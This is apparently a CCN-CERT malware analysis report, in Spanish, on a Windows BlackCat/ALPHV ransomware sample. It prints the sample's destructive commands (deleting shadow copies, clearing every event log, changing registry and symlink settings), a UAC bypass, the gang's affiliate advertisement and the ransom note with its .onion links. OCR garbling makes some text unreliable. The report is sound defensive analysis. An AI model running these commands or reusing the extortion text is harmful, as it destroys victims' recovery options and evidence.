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1. SOBRE CCN-CERT

El CCN-CERT es la Capacidad de Respuesta a Incidentes de Seguridad de la
Informacién del Centro Criptolégico Nacional (CCN) del Centro Nacional de Inteligencia
(CNI). Este servicio se cred en el afio 2006 como CERT Gubernamental Nacional espafiol
y sus funciones quedan recogidas en la Ley 11/2002 reguladora del CNI, el RD 421/2004
de regulacion del CCN y en el RD 311/2022, de 3 de mayo, por el que se regula el
Esquema Nacional de Seguridad.

Su misidén, por tanto, es contribuir a la mejora de la ciberseguridad espafiola,
siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de
forma rapida y eficiente a los ciberataques y a afrontar de forma activa las
ciberamenazas, incluyendo la coordinacién a nivel publico estatal de las distintas
Capacidades de Respuesta a Incidentes o Centros de Operaciones de Ciberseguridad
existentes.

Todo ello, con el fin Ultimo de conseguir un ciberespacio mas seguro y confiable,
preservando la informacién clasificada (tal y como recoge el art. 4. F de la Ley 11/2002)
y la informacién sensible, defendiendo el Patrimonio Tecnolégico espaiiol, formando al
personal experto, aplicando politicas y procedimientos de seguridad y empleando vy
desarrollando las tecnologias mas adecuadas a este fin.

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Juridico del Sector
Publico es competencia del CCN-CERT la gestion de ciberincidentes que afecten a
cualquier organismo o empresa publica. En el caso de operadores criticos del sector
publico la gestién de ciberincidentes se realizara por el CCN-CERT en coordinacion con
el CNPIC.
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2. RESUMEN EJECUTIVO

El presente documento recoge el analisis de la muestra de cddigo dafiino
identificada por la firma SHA1l 7ca911dbccl159b30e7d71db30a889780e57b6c02
compilada para plataformas Windows (x32) y desarrollada en lenguaje Rust. El binario
analizado pertenece a la familia de ransomware apodada como ALPHV también
conocido como Noberus o BlackCat (debido a la existencia de un icono de un gato negro
en el sitio web Tor ligado al grupo cibercriminal).

ALPHV surgié a mediados de noviembre de 2021, publicitado en determinado foro
underground, y siguiendo el modelo de negocio RaaS (Ransomware as a Service) basado
en una estructura de marketing de afiliados en donde éstos pueden llegar a conseguir
el 80-90% del rescate [11. Seglin informacién del FBI 21 BlackCat estd ligado con miembros
del ransomware BlackMatter (sucesor de DarkSide) cuya actividad tuvo gran impacto a
partir de julio de 2021 llegando a afectar a diversas infraestructuras criticas en EEUUB!-

Junto con LockBit y Black Basta, BlackCatl®! se sitia en el ranking de los
ransomware mas agresivos durante los Q2 y Q3 de 2022. Aunque la muestra actual ha
sido compilada para entornos Windows, BlackCat dispone de variantes para sistemas
operativos basados en Linux (Debian, Ubuntu, ReadyNAS, Synology) asi como VMWare
ESXi. Durante el 2022 las victimas incluyen organizaciones en practicamente todo el
mundo dentro de los siguientes sectores: productos farmacéuticos, construccién e
ingenieria, comercio minorista, transporte, servicios comerciales, seguros, maquinaria,
telecomunicaciones, componentes de automdviles, etc.

ALPHV se puede configurar ¥ para cifrar archivos utilizando los algoritmos AES o
ChaCha20 y tiene capacidad para eliminar volume shadow copies, detener procesos y
servicios, detener maquinas virtuales en servidores ESXi y auto propagarse a otros hosts
de la red.

El ransomware dispone de un fichero de configuracion embebido en donde se
establecen los pardmetros de infeccidon que guiaran la logica de ejecucién del mismo:
servicios/procesos que se deben detener, una lista blanca con los
directorios/archivos/extensiones a excluir, un listado de credenciales robadas del
entorno de la victima con los que hacer movimientos laterales y/o escalar privilegios,
etc. En otras versiones de BlackCat [ este fichero de configuracién se encuentra cifrado
y requiere que el binario sea ejecutado con cierto argumento a partir del cual se deriva
una key con la que descifrar el mismo. Sin dicho argumento el ransomware no se
ejecutara en el sistema dificultando de este modo la labor del analista, asi como su
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analisis en entornos automatizados. La muestra actual, sin embargo, se corresponde con
una version previa en donde el fichero de configuracién se encuentra en claro.

A fecha de realizacién del presente informe el sitio oficial del grupo criminal,
dentro del dominio “.onion” (accesible via TOR), presenta un total de 49 victimas en
2022.

3. DETALLES GENERALES

El fichero analizado se corresponde con una muestra de ransomware para
plataformas Windows (x32) de la familia BlackCat/ALPHV cuya firma se muestra a
continuacion:

93f34fb60a180a3a80ca758b97c2e551

7ca911dbcc159b30e7d71db30a889780e57b6c02

S VAT 1048a41107f4d9a68c1f5fc0b99ac75dc198047f18bb6e50f3d462f262b8f6cd

El sample ha sido remitido, por primera vez, a la plataforma de analisis de malware
el 18 de mayo de 2022 y actualmente muestra una tasa de detecciéon de 57 sobre 69
motores antivirus. La mayor parte de soluciones de seguridad, asi como el elevado
numero de code gens (95,31%) y strings reportados evidencia la relacién del binario con
BlackCat.

El binario no se encuentra empaquetado, presenta un tamafio de 3.068.931 bytes
y ha sido compilado (statically linked) para arquitecturas de 32 bit el 7 de diciembre de
2021 segun informacion de su File Header. A partir de las multiples referencias al gestor
de paquetes “Cargo” en los strings del binario (“.cargo/registry/src”) se puede inferir
que Rust ha sido el lenguaje empleado por los atacantes para su desarrollo. Dichos paths
reflejan las dependencias externas requeridas por el cédigo (obsérvese, por ejemplo, la
referencia a la implementacién de AES en Rust).

Centro Criptoldgico Nacional
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Figura 1. Propiedades estaticas: Section Headers / Strings (Rust)

El binario requiere de cierto argumento para su ejecucién, en concreto el

o

parametro

--access-token <ACCESS TOKEN>" pudiendo especificar para la muestra

actual cualquier valor; Unicamente se utilizard dicho pardmetro para confirmar el

proceso de cifrado (a diferencia de otras versiones de BlackCat en donde dicho token

serd necesario para descifrar el fichero de configuracion).

Desde la linea de comandos se puede especificar el argumento ‘-h’ para ver el

menu de ayuda y conocer las opciones de ejecuciéon. Como se observa en la siguiente

imagen, el ransomware tiene capacidad para hacer descubrimiento y propagarse a otras

maquinas, excluir directorios, finalizar VMs en entornos ESXi, eliminar snaphosts, etc.

Algunas de estas opciones se detallaran en el siguiente punto.

A Elackcat_vl.exe -h

USA

[OPTIONS] [SUBCOMMAND]

OPTIONS:

Access Token

Run as child process

Invoked with drag and drop

Drop drag and drop target batch file
Print help information

En
Do
Do
Do
Do
Do
Do
Do

able
not
not
not
not
not
not
not

logging to specified file

discover network shares on Windows
self propagate(worm) on Windows
propagate to defined servers

stop VMs on ESXi

stop defined VMs on ESXi

wipe VMs snapshots on ESXi

update desktop wallpaper on Windows

Only process files inside defined paths
Run as propagated process

Show user interface

Log to console

Figura 2. Menu ayuda (BlackCat)
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El flag —verbose mostrard por STDOUT el proceso de cifrado en runtime (errores,
ficheros afectados, etc.) ademas de reflejar las directivas establecidas en el fichero de
configuracion. En la siguiente imagen se muestra, por ejemplo, los servicios que se
finalizardn antes de comenzar con el cifrado de ficheros.

msexchange”. "sqlx"1,55

imount_all::mounting=Z:\,SomeC'Z')>

he process cannot access the file hecause it is heing used by another proc

cher:icor

Cant open file -> C: GL, e code . e e being used by anoth
Gant open file —> G ind: Uncate: d, PG r e it ing used by another
Cant open file —> C oo = . T em : ncate. d. W " cannot access the

Figura 3. Opcidn --verbose

Mediante el argumento —log-file <LOG_FILE> sera posible guardar toda la
informacién en un fichero de texto. La opcién —ui (user interface) proporcionara otra
vista que permitird también mostrar el progreso de la infeccion de manera grafica
ofreciendo informacion sobre el nimero de ficheros afectados, el nimero de ficheros
escaneados, asi como la velocidad de procesamiento (MB/s).

yosnode_module:

yonode_module:

yosnode_module:

yosnode_module:

yosnode_module:

yosnode_module: repor
yosnode_nodule: anbul-report:

Figura 4. User Interface (--ui)

A diferencia de las versiones mas recientes de BlackCat la muestra analizada
presenta el fichero de configuracion en claro (formato json) dentro de la seccién
“.rdata”. En la siguiente imagen se puede observar la clave publica empleada para el
proceso de cifrado, asi como la extensién a la que se renombrara cada fichero afectado.
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Figura 5. Fichero de configuracion (.rdata)

Herramientas como blackCatConf " permiten extraer facilmente el fichero de
configuracion y mostrar cada una de sus directivas.

File size (bytes): 3068931
Sample MD5: 93f34fb60a180a3a80ca758b97c2e551
Sample SHA-256: 1048a41107f4d9a68c1f5fc@b99ac75dc198047f18bb6e50f3d462F262b8F6cd
Config ID:
Public Key: MIIBIjANBgkqhkiGOwOBAQEFAAOCAQSAMIIBCgKCAQEApwW3tWdMawIvNf2Me jy5HOY6kuj+1stNpwFyismGDEYhWKPps9c68x1+8406uLKfqPzNvLnSx1Va6DitcIGeKIEQ
kzN+C1e1KsfzM63jHybREB2hs+dHbqBq4dbamIQcTrrr4mkKzuHl7aok4mlpRx2Un1X0JaodoV7x0HO7ui5v6uK39MI3rvitSEBvv50I0WDp3IFmtd6UM6r2nygY IncAUuasalZgF1Vaz7VXOWyX2ReQHbYWWRCR1qy KM
QcBtjT5POXx9B8ek1pnUs4p65kGeIM794Bhhh20GN24gY5a+zwXwstaNTO9luwd4xj JRQAVSDgjrjkzti276111Cn6WIDAQAB
File Extension: 79541i9r
RECOVER-${EXTENSION}-FILES.txt
Default File Encryption Mode: Auto
Default File Encryption Cipher: Best
[1

Compromised Credentials:

[mepocs memtas veeam svc$ backup sql vss msexchange sqlx]

Processes to be killed: [encsvc thebat mydesktopgos xfssvecon firefox infopath winword steam synctime notepad ocomm onenote mspub thunderbird agntsvc sql e
xcel powerpnt outlook wordpad dbeng50 isqlplussvc sgbcoreservice oracle ocautoupds dbsnmp msaccess tbirdconfig ocssd mydesktopservice visio sqlx]

Directories to be excluded:; [system volume information intel $windows.~ws application data $recycle.bin mozilla program files (x86) program files $windows.~bt
public msocache windows default all users tor browser programdata boot config.msi google perflogs appdata windows.old]

Files to be excluded: [desktop.ini autorun.inf ntldr bootsect.bak thumbs.db boot.ini ntuser.dat iconcache.db bootfont.bin ntuser.ini ntuser.dat.log]

Extensions to be excluded: [themepack nls diagpkg msi lnk exe cab scr bat drv rtp msp prf msc ico key ocx diagcab diagcfg pdb wpx hlp icns rom dll msstyles mo
d psl ics hta bin cmd ani 386 lock cur idx sys com deskthemepack shs 1df theme mpa momedia spl cpl adv icl msu]

File Path Wild H

Self-Propagat.

Set Wallpaper

ESXI WM Kill:

ESXI Snapshot Kill:

Strict Include Paths:

ESXI WM Kill Exclude:

Figura 6. Extraccion configuracion (blackCatConf)

Obsérvese que en dicho json se configuran muchos pardmetros que afectaran al
comportamiento del ransomware; por ejemplo:

e Los que seran finalizados.
e Ficheros, directorios y extensiones que seran excluidos del proceso de cifrado.
e Laclave publica RSA codificada en base 64.

e Extension de los ficheros renombrados que seran cifrados (7954i9r).
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e Unarray con credenciales comprometidas empleadas para escalar y propagar
la infeccidn (en la muestra actual se encuentra vacio).

e Formato del fichero con las instrucciones de recuperacién: RECOVER-
S{EXTENSION}-FILES.txt.

e Descubrimientoy propagacion a nuevos equipos.

e El algoritmo y modo de cifrado. El valor “Best” en la directiva “Default File
Encryption Cipher” instruye al cddigo dafiino a emplear el conjunto de
instrucciones AES-NI. Si la victima no tiene soporte AES-NI empleard
ChaCha20% en su lugar. Por otro lado, el modo “Auto”, especificado por la
directiva “Default File Encryption Mode”, establece la estrategia mas dptima
para cifrar los ficheros en funcidn de la extensién y el tamafo del mismo. Otras
opciones, como “SmartPattern”, dividen cada fichero en un ndmero
determinado de bloques cifrando un porcentaje de los mismos. El investigador
Aleksandar Milenkoski realizé un analisis detallado de cada uno de los modos
soportados por BlackCat (Full, HeadOnly, DotPattern, SmartPattern). Para mas
informacién consultese la referencia adjunta ®! -

El funcionamiento y caracteristicas del ransomware son detallados en el propio
anuncio del grupo criminal en el foro ruso underground RAMP (Russian Anonymous
MarketPlace). Su contenido 119, traducido en inglés, se muestra a continuacion:

INTRO

We are glad to welcome you to our affiliate program.

We have taken into account all the advantages and disadvantages of previous partner programs and are proud to bring you ALPHV —
the next generation of ransomware.

All software is written from scratch, the decentralization of all web resources is architecturally laid down. A unique onion domain is
generated for each new company. For each advertiser, an entrance is provided through its own unique onion domain (hello LockBit).
Own datacenter for hosting leak files over 100 TB.

We are already cooperating with top recovery companies that worked with darks, revils, etc.

There is a support on chats, which sits 24 by 7, but if you wish, you can negotiate yourself.

SECURITY

We are in every possible way ready for existence in modern conditions, meeting all the requirements for the security of infrastructure
and advertisements. In the affiliate program all possible links with forums are architecturally excluded (hello revil), algorithms for
self-deletion of data upon expiration of the limitation period are laid down, a built-in mixer is integrated with a real break in the
chain (not to be confused with Wasabi, BitMix and others), because you get completely clean coins from foreign exchanges. The
wallets to which your coins were sent are unknown for our backend. The infrastructure is fragmented into the so-called. nodes that
are interconnected through a whole network of pads within the onion network and are located behind NAT + FW. Even when receiving
a full-fledged cmdshell, the attacker will not be able to reveal the real IP address of the server. (hi Conti)

SOFTWARE

The software is written from scratch without using any templates or previously leaked source codes of other ransomware. The choice
is offered:

4 encryption modes:

-Full - full file encryption. The safest and slowest.

-Fast — encryption of the first N megabytes. Not recommended for use, the most unsafe possible solution, but the fastest.
-DotPattern — encryption of N megabytes through M step. If configured incorrectly, Fast can work worse both in speed and in
cryptographic strength.

-Auto. Depending on the type and size of the file, the locker (both on windows and * nix / esxi) chooses the most optimal (in terms of
speed / security) strategy for processing files.

Centro Criptoldgico Nacional
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-SmartPattern — encryption of N megabytes in percentage steps. By default, it encrypts 10 megabytes every 10% of the file starting
from the header. The most optimal mode in the ratio of speed / cryptographic strength.

2 encryption algorithms:

-ChaCha20

-AES

In auto mode, the software detects the presence of AES hardware support (exists in all modern processors) and uses it. If there is no
AES support, the software encrypts files ChaChaZ20.

Cross-platform software, i.e. if you mount Windows disks in Linux or vice versa, the decryptor will be able to decrypt the files.
Supported OS:

—Allline of Windows from 7 and higher (tested by us on 7, 8.1, 10, 11; 2008r2, 2012, 2016, 2019, 2022); XP and 2003 can be encrypted
over SMB.

— ESXI (tested on 5.5, 6.5, 7.0.2u)

— Debian (tested on 7, 8, 9);

— Ubuntu (tested on 18.04, 20.04)

— ReadyNAS, Synology

Since recently binaries have been leaking to analysts, and premium VT allows you to download samples and receive readme in chats,
random people may appear who can disrupt negotiations (hello darkside), when launching the software it is MANDATORY to use the
—access-token flag. The cmdline arguments are not passed to the AVers, which will keep the privacy of the correspondence with the
victim. For the same reason, each encrypted computer generates its own unique ID used to separate chats.

There is a function of automatic downloading of files from the MEGA service, you give a link to the files, they are automatically
downloaded to our servers.

You can get a full description of all functionality in the FAQ section.

Siguiendo la misma operativa que la mayor parte de ransomware, ALPHV creard
en cada directorio afectado un fichero “.txt” con las instrucciones de recuperacion (para
la muestra actual, RECOVER-7954i9r-FILES.txt) en donde pueden encontrarse diversas
referencias a direcciones “.onion” vinculadas con el grupo criminal.

Por un lado, una URL para acceder a un preview de los datos exfiltrados
(http://alphvmmm2703abo3r2mimjrpdmzle3rykajqc5xsj7j7ejksbpsa36ad.onion) previo
a la ejecucion de BlackCat y, por otro, un enlace a cierta URI para proceder con el rescate
(http://sty5rdhhb50ihbg2mwevrofdigbgesi66rvxr5sr573xgvtuvrdcs5yd.onion).

Short Ran:

Important files on your system was ENCRYPTED.
Sensitive data on your system was DOWNLOADED.
To recover your files and prevent publishing of sensitive information follow instructions in "${NOTE_FILE_NAME}" file.

Full Ransomnote:
>> Introduction

Important files on your system was ENCRYPTED and now they have have "${EXTENSION}" extension.
In order to recover your files you need to follow instructions below.

>> Sensitive Data

Sensitive data on your system was DOWNLOADED and it will be PUBLISHED if you refuse to cooperate.

Data includes:

- Employees persenal data, CVs, DL, SSN.

- Complete network map including credentials for local and remote services.

- Financial information including clients data, bills, budgets, annual reports, bank statements.
- Complete datagrams/schemas/drawings for manufacturing in solidworks format

- And more ...

Private preview is published here: http://alphvmmm2703abo3r2mlmjrpdmzle3rykajqc5xsj7j7ejksbpsa36ad.onion/336eb50d-ebf8-436b-937d-ec075des6e7f/419ef3f950d9f346cf86dbS
6db453539dcd51567ea871728e78dbc9918c7efeb

>> CAUTION

DO NOT MODIFY FILES YOURSELF.

DO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA.

YOU MAY DAMAGE YOUR FILES, IT WILL RESULT IN PERMANENT DATA LOSS.

YOUR DATA IS STRONGLY ENCRYPTED, YOU CAN NOT DECRYPT IT WITHOUT CIPHER KEY.

>> Recovery procedure
Follow these simple steps to get in touch and recover your data:

1) Download and install Tor Browser from: https://torproject.org/
2) Navigate to: http://stySr4hhbSoihbg2mwevrofdigbgesi66rvxr5sr573xgvtuvrics5yd. onion/?access-key=${ACCESS_KEY}

Figura 7. Mensaje de recuperacion
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A fecha de realizacion del presente informe, el portal de ALPHV recoge un total de
49 entidades comprometidas durante el afio 2022.

« @ | hiphvmmm2703abo3r2mimjrpdmzle3r i nion/search ﬂrl QO % =
Q_ Simple query string (name + "last name") or path wildcard (*doc*.txt) Search

Ta Chen data RecordTV unipiloto.edu.co
Size! 68 GB Size: 404 GB Size: 152 GB
Upload DT: Sun Now 20 2022 Upload DT: Tue Oct 25 2022 Upload DT: Mon Oct 24 2022
Customers ClamAVPluginDIL Motional
Size: 425 Size: 864 ME Size: BGE
Upload DT: Sun Oct 23 2022 Upload DT: Sun Oct 23 2022 Upload DT: Fri Oct 21 2022
Teakrc IMET Spa NIVC2
size: 17, Size: 20. Size: 171 GB
Upload DT Wed Oct 19 2022 Upload DT: Sun Oct 09 2022 Upload DT: Thu Oct 06 2022
NIvC1l suffolk-sql-dbs1 Audit
Size! 12.2 Gl Size: 947 GB Size: 16.6 GB
Upload DT: Thu Oct 06 2022 Upload DT: Tue Oct 04 2022 Upload DT: Thu Sep 29 2022
Accounting NotosCom manxhealthcare.com
Size: X Size: 108 Size: 5
Upload DT: Tue Sep 27 2022 Upload DT: Mon Sep 26 2022 Upload DT: Sat Sep 24 2022
Machines Ttalia Suffolk County 476GB Rankam.com
size: 13.2GB Size: 476 GB Size: 152 GB
Upload DT Fri Sep 23 2022 Upload DT: Fri Sep 23 2022 Upload DT: Thu Sep 15 2022

Figura 8. Entidades afectadas por ALPHV (2022)
4. CARACTERISTICAS TECNICAS

ALPHV se ha caracterizado por haber sido uno de los primeros ransomware
implementados en Rust. Este lenguaje no solo ofrece a los atacantes notables ventajas
desde un punto de vista de seguridad y rendimiento (mejor gestion de la concurrencia 'y
la memoria, gran velocidad de cifrado, etc.) sino que dificulta significativamente la
ingenieria inversa por parte de los analistas. Este hecho esta relacionado con la forma
en la que Rust gestiona los errores y la gran cantidad de checks de seguridad que se
afiaden al codigo durante el proceso de compilacién para garantizar un uso seguro de la
memoria. La carencia de una ABI estable, el uso de determinados flags de compilacién
(por ejemplo, link-time optimization) asi como otras caracteristicas del propio lenguaje
complican en gran medida la comprensién del cédigo generado.

Pese a elegir Rust como lenguaje para su desarrollo, el binario no esta
empaquetado facilitando en gran medida la comprension de su cédigo. Para instruir al
binario que comience con el proceso de cifrado de ficheros es necesario proporcionar,
por medio de su command-line, el argumento “--access-token <TOKEN>" donde el token
puede ser cualquier cadena para la muestra actual (en otras versiones de BlackCat este
token sera necesario para poder continuar con la infeccién al corresponderse con una
cadena a partir de la cual se genera una clave AES con la que descifrar su fichero de
configuracion).
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BlackCat puede eludir UAC abusando de la interfaz COM CMSTPLUA %l generando
un nuevo proceso secundario bajo “dl/lhost.exe” con permisos elevados con los que cifrar

la mayor cantidad posible de ficheros en el sistema.

= B wininit exe (364) Windows Start-Up... wininit.exe
[ 1] services exs (468) Services and Cont... C:\Windows'\system32\services.exe
[= B svchost.exe (600) Host Process for ...  C:\Windows\system32\svchost.exe + DcombLaunch
@”%wmlprvse exe (2620) WMI Provider Host - C:\Windows'\system 32\wbem\wmiprvse exe
@”ﬁmipwse.m {1668) WMI Provider Host  C:\Windows'\system 32\wbemwmiprvse exe secured -Embedding -
# % DilHost .exe (2836) COM Sumogate C:\Windows"system32\DllHost exe /Processid:{E 10FEC3A-F1AE-4ADC-AASD-2FERS525666E) l
=1 % % DilHost exe (3040) COM Sumogate I C:"Windows".SysWOW6E4'DilHost exe /Processid:{3E5FCTF3-9A51-4367-9063-A1 ZDQMFBECT}I |
[= i blackeat_v1.exe (1620) "C:M\Users\Neo\Desktop'blackeat_v1.exe” "~accessdoken” "1" "«v"
E Windows Comma... "C:\Windows'system32'cmd exe” /¢ "wmic csproduct get ULUID"
§WM\Cexe (2064) WMI Commandiin... wmic csproduct get UUID I
.text:88681815 mov dword ptr [esp+2Ch], @
.text:806@1B1D mov dword ptr [esp+4], 2 ; dwCoInit
.text:88691625 mov dword ptr [esp], @ ; pvReserved
- text:0866182C call ds:CoInitializel
.text:88661832 sub esp, 8
Ltext: 8601635 mov ebx, eax
.text:80681837 lea eax, [esp+2Ch]
.text:88681B38 mov dword ptr [esp+3], 4
Ltext:80681B43 mov dword ptr [esp+4], offset unk GEDA4A®
.text:Bece1848 mov dword ptr [esp], offset a3esfc7f99as5143 ;| "{3E5FC7F9-951-4367-9063-A12024476EC7 )" |
.text:88681B52 mov [esp+BCh], eax
.text:@86@1B56 call sub_6B81AS@
.text:88681858 test eax, eax

Figura 9. UAC Bypass

El ransomware habilitara los enlaces simbdlicos locales y remotos posiblemente
para asegurarse de que pueda seguir los accesos directos y localizar los ficheros
originales. Para habilitar dicha funcionalidad ejecutarad los siguientes procesos via
CreateProcessW:

e fsutil behavior set SymlinkEvaluation R2L:1

e fsutil behavior set SymlinkEvaluation R2R:1

oV edi, ed1
push eop
mov_ebp,esp

€A 00 push 0 EAXS
push dword ptr ss:[ebp-2¢]

CreateProcessw - Hide FPU

00734160
EBX 00000020
ECX  002EEF20

FE75 28 push dword ptr ss:[lebp+23]
FF75 24 push dword ptr ss:febp+24 EDX _ 0028EFA4
FF75 20 push dword ptr sz:|[lebp+20) < n
FF7E 1C push dword ptr ss:|[febp+ic]
FF75 18 push dword ptr ss:[ebpr1s; || Default (stdcall)
dzabd et Gl (B 3 s s
2i [espts] 007504C0 &"$6
edi=00681F07 "fsutil behavior set symlinkevaluation RZL:ii" 3i [esp+C] 000DDDOOO
i [esp+10] 00D00DOD
5: Fesni1al nonnnnnt

. Text:76301030 kernel32.d11:$1103D #1103D <CreateProcessis i

005E636A| return to blackcat vl,005E636A Trom blackcat_vi, 00600350

Woup ! | @oump2 | Whoumps | Whoumps [ éoumps [ B wath1 [ eitecas [ P[4]P[EEE0
Address | UNICODE -

TIFEIEEN [coocoaacacoooo000atacoa0000 TTeolTkoro000a05020003000000200030000

007504C0| &"$8"

007504C 0] "C: \Windows\system3z\cnd. exe” /¢ "fsutil behavior set symlinkEva
1) u.u U\S. ..U..2\

oozaee=a | 00000001
00750540| Tuation R2L

Figura 10. Enlaces simbdlicos locales y remotos

También recuperard el UUID (identificador unico universal) de la maquina
mediante la ejecucion de un comando WMI (wmic csproduct get UUID) que se utilizara
para generar cierto access-token que formara parte de la URI de recuperacién en el sitio
Tor que se incluird en la nota de rescate:

(http://sty5r4hhb50ihbg2mwevrofdigbgesi66rvxr5sr573xgvtuvrdcs5yd.onion/?access-key= {access-token}): ‘
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.text:@@5E635E push ]

* |EAX 28000881 '»
.text:@@5E636@ push dword ptr [esp+58h]

EBX 88800628 ‘-

text:@85E6364 push eax D K 1 d11:k 1 it
Q *Createﬁ‘ocess_ EERRISE L LR Bl VA i A A S TR DR

- text:00SEB36A test  cax, eax EDX 88763038 % debugd28:00763033
£ext:005E636C Iz loc_SEG453 ESI 80000000
.text:@@5E6372 push  dword ptr [esp+24h] EDT 90680730
e EBP@O28F1D8 & Stack[000A0ABA]:0628F1DE
text:065E637B movsd  xnml, qword ptr [esp+184h]

[

Figura 11. Obtencién UUID via WMIC

Como es habitual en el proceso de infeccion en la gran mayoria de ransomware,
ALPHV intentara eliminar las Volume Shadow Copy Service (VSS) para dificultar las tareas
de recuperacion de ficheros.

o [ E8X 00000020
EA 00 push 0 ECX TE3E4954
FF7424 58 push dword ptr ss:[esp+ss]) EDX 00780178
sh eax EBP 0028F 3A0
E8 E69F0100 €all <me. acreaterrocessi> ESP  0028EE90
a5co 1 ESI 00000000
~ OFE4 E1000000 Je blackcar_vi.5E6452 EDI 00681110 B dmin. exe delete shadows fall /quietshadow_copy::remove_all="_|
FF7424 u push dword ptr ss: [gspczq
Eg 1DA00: call <JF. &closeran:
H F2: nnnscu 04010000 | movsd xmmi,qword p[r" B [espunA] [ 61 oosee3ea LlackearsvltotEe3as
H 8B4C24 4C mov ecx, dwurd ﬂtr‘ sS
H F2:0F108424 FC000000|movsd xmmo,gword ptr - || Default (stdcal)
i BT T » [T Tespr4] oi7ciF7o
e : [esp+s] 00000000
eax=1

: [esp+10] 00791820

2
3: [esp+C] 007C31D0 "C:\\Windows\\system32\\cmd. exeet_v1.exeed\""
4
5: [esp+i4] 00000026

-text:00SEE36A blackcat_vi.exe:S1EG36A #1ES7EA

weoump1 | gypump2 | wupums | woumed | woumes | @ watht | ieqllowks | st |
Address | UNICODE

00D0000D
002BEES4 | O17CIF70

exe delete shadows /ja “C:\\Windows\\system32\\cnd. exeet_vi.e

007A1040 vssadmin. exe delete shadows /all /quid

Figura 12. Eliminacion Volume Shadow Copy

Asimismo, el ransomware eliminara todos los event logs haciendo uso de wevtutil:
for /F \"tokens=*\" %1 in (‘'wevtutil.exe el') DO wevtutil.exe cl \"%1\""

oy B ECX  002EEFO0
50 nop EDX  0028EFBS
50 nop EeP  oo2sFiFE  4TEBCT
90 nop ESP  O02B8EEB4 " -
s serr mov edi, edi Createprocessw €SI 00000000
g;zc push sz Sub_763D103F EDI DOE8DESO I"(md.exe /e for /F \"tokens="\" %1 in ('wevtutil.exe e1") DO wevtutil.exe c1 \"3(1\'"1
mov ebp,esp
6 00 ush 0
EAY0oNS BISR Gvors oo 55y EIP 76301030 <kernel3z.Createrrocessws
FF7 38 push dword per =<:[fcbp-2s!
. FF75 23 push dword ptr ss:[febp+24] [ebp+24] =7 Tx" EETACSocuon s
FF75 20 push dword ptr ssifebprz0] ZED PEL AR
FF75 1C push dword ptr ==:[ebp-ic]| OF 0 SF 1 DF O
FF75 18 push dword ptr ss:[febp+18] CF1 TF1 IF 1
FF75 14 push dword ptr ssifebpri4]
EF7S 1o push dword per ==:[fcbpi0] LastError  000DO000 (ERROR_SUCCESS)
FF75 OC push dword per s:[febp+c] LastStatus CODD0024 (STATUS_OBIECTNAME_NOT_FOUND)
FF75 08 push dword ptr ss:lfebp+s]
e I,
. £5 42280100 | CANY <kernels2.Createprocessin - | oefeut (stacai)
*l = S 1: [espra] 00794820
2 [esp:8] 007AOF20 & 56
©di=00680E50 "cmd.exe /C for /F \"TOKens=+\" %1 in ( 'Weviutil.exe €1') DO meviutil.exe €1 WHiy " 3: [esp+C]_0000C
4 [esp+1d] 00000000
Call from 76478306, 7E47CECL < Fechiial nnnnnnnt
:763D1030 kernel32.d11:$1103D #1103D <CreateProcessws < I

oumo1 | @houme2 | e4oump3 | eoump4 | woumps | @ wetcht | bllocals | stuct |

Do2cEE | 00794820

[0D556}“7r5turn To blackcat_vi.005E636A From blackcat_vi.0DE00350

| oozseeac 0| &56"
Address | UNICODE - | 0028££C0 || 00000000 |
007020 T \Windoye systeraz cnd exe” je Tend. exe Je_for JF 2y 55000000
DO7AOFAO| " %1 in (‘wevtutil.exe el') DO wevtutil.exe cl R A -

o028EEC4

Figura 13. Eliminacion de event logs via wevtutil

Posteriormente modificard el parametro TCP/IP MaxMpxCt del registro para
incrementar el nimero de peticiones salientes permitidas (esto facilitara la distribucién
del ransomware a otras maquinas de la red). Para realizar dicho cambio se apoyard en
el binario reg.exe:

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v
MaxMpxCt /d 65535 /t REG_DWORD /f
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. mov edi,edi CreateProcessw -~
El= 7EID10ZF(r. 55 push ebp Sub_7E&3D103F
E’E:Ego lga\srhebp,esp D EAX 00794160
FF75 2C push dword ptr ss:|[Jebp+zc]] EBX 00000020 v
FF75 28 push ss:|febp+za] ECX  O4BEFZDO
FF75 24 push ss:lebp+24] EDX 04BEF454
FF75 20 push 55t |febp+20f EBF  04BEF3CE
FF75 1C push ss:flebp+1cy ESP 04BEF3E4 oA
FF75 18 push 55:febp+183 ESI 00000000
FF75 14 push ssi|febp+14]} EDI  0O0GTF148 "reg add HKEY_LOCAL_MACHINEYY
FF75 10 push s55:lebp+10§
FF75 0OC push ssiffebp+C)
FF7E 08 bush B e | EIP 76301030 <kernel3z2.createProcessws
64 0O push o « || Default (stdcal)
mnizannenn [ o2 e : e i TrTo -
= = 2: [esp+B8] OOTE5943 &"$0"
edi=0067F148 "reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\5ervices‘\Lanmanserver‘\\Parg 3: [esp+C] 00000000
4: [esp+10] 00000000
call from 7647B306, 7647CEC1 5: esn+141 00000001
.Text:763D103D kernel32.d11:511030 #1103D <CreateProcessh> < [
@oump 1 [ gupump2 | @boump3 | doump4 | @oumps [ @ waich1 | -ltocals | 2 struct | ereeea B
R |
———
007ES 945 | "C:\Windows'\system32icmd. exe™ /c "reg add HKEY_LOCAL_MACHINE\SYS
0D07ES9CS TEM\Currentcnntro]5e‘t\5erv1ca\LamanServer\Parane‘ters /v MaxMpx
007ESA48 €T /d 65535 /T REG DWORD /f".86)\Windows Kits\8.1\windows Perfor
Jo7ESACE L e N e R T O IO DT 0sser340 | oof

Figura 14. Eliminacién de event logs via wevtutil

El ransomware tiene capacidad para propagarse a otros equipos de la red
utilizando NetBIOS y SMB incluyendo también el uso del protocolo de resolucién de
direcciones (ARP) para recopilar las direcciones IP y MAC de la tabla ARP (y obtener asi
la lista de hosts conocidos por el host de la victima). También hard uso de la API
NetServerEnum para enumerar todos los servidores del dominio (SV_TYPE_ALL
OXFFFFFFFF) y de NetShareEnum para descubrir recursos compartidos de red.

~ 0FB4 FDB2020 je kernel32.763FF1AZ Fle Opt Vi b Find
83FE F5 cmp esi,FFFFFFES Lile  Lptions  Jiew  Erocess  Fin Image File
~ OFB4 EOB2020Q je kernel32.763FF18E P I I e
83FE F& cmp esi,FFFFFFFG ] g' E] | 28 | *® Windows Command Processor
~ OFB4 C3B2020 je kernel32.763FF17A
> B8BCE mov eax,esi Process [ |
